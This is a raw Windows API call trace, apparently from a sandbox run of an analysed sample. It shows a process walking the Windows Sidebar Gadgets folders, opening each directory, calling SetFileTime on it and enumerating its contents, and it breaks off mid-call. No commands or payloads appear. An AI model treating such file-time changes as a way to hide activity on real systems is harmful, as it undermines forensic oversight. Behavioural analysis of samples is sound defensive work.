FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.278] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.278] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.279] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.279] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.279] GetLastError () returned 0x12 [0250.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.279] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.279] GetLastError () returned 0x12 [0250.279] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.279] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.279] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.280] GetLastError () returned 0x12 [0250.280] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.280] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.280] GetLastError () returned 0x12 [0250.281] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.281] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.281] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.281] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.298] GetLastError () returned 0x12 [0250.298] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.298] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.298] GetLastError () returned 0x12 [0250.299] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.299] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.299] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.299] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.299] GetLastError () returned 0x12 [0250.299] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.300] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.300] GetLastError () returned 0x12 [0250.300] GetLastError () returned 0x12 [0250.300] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.300] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.300] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.300] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.300] GetLastError () returned 0x12 [0250.300] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.300] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.301] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.301] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.301] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.301] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0250.301] GetLastError () returned 0x12 [0250.301] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.301] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.302] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.302] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.302] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.302] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd520 [0250.303] GetLastError () returned 0x12 [0250.303] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.303] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.303] GetLastError () returned 0x12 [0250.303] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.303] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.303] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.303] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.303] GetLastError () returned 0x12 [0250.303] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd520 [0250.304] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.304] GetLastError () returned 0x12 [0250.304] GetLastError () returned 0x12 [0250.304] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.304] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.304] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.304] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.306] GetLastError () returned 0x12 [0250.306] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0250.307] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.307] GetLastError () returned 0x12 [0250.307] GetLastError () returned 0x12 [0250.310] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.310] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.310] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.310] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.310] GetLastError () returned 0x12 [0250.310] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.310] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.311] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.311] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.311] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.311] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.312] GetLastError () returned 0x12 [0250.312] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.312] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.312] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.312] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.312] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.312] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0250.312] GetLastError () returned 0x12 [0250.312] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.312] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.313] GetLastError () returned 0x12 [0250.313] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0250.313] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.313] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.313] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd560 [0250.313] GetLastError () returned 0x12 [0250.313] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0250.313] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0250.313] GetLastError () returned 0x12 [0250.313] GetLastError () returned 0x12 [0250.314] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0250.314] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.314] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.314] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.316] GetLastError () returned 0x12 [0250.316] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0250.316] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0250.316] GetLastError () returned 0x12 [0250.316] GetLastError () returned 0x12 [0250.317] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.317] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0250.317] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0250.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd520 [0250.318] GetLastError () returned 0x12 [0250.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0250.318] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.318] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.318] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0250.318] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0250.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd520 [0250.318] GetLastError () returned 0x12 [0250.318] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0250.319] FindClose (in: hFindFile=0x4fd520 | out: hFindFile=0x4fd520) returned 1 [0250.319] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0250.319] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0250.319] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1672798, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1672798, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0250.319] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd520 [0250.319] GetLastError () returned 0x12 [0250.319] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\css\\*", 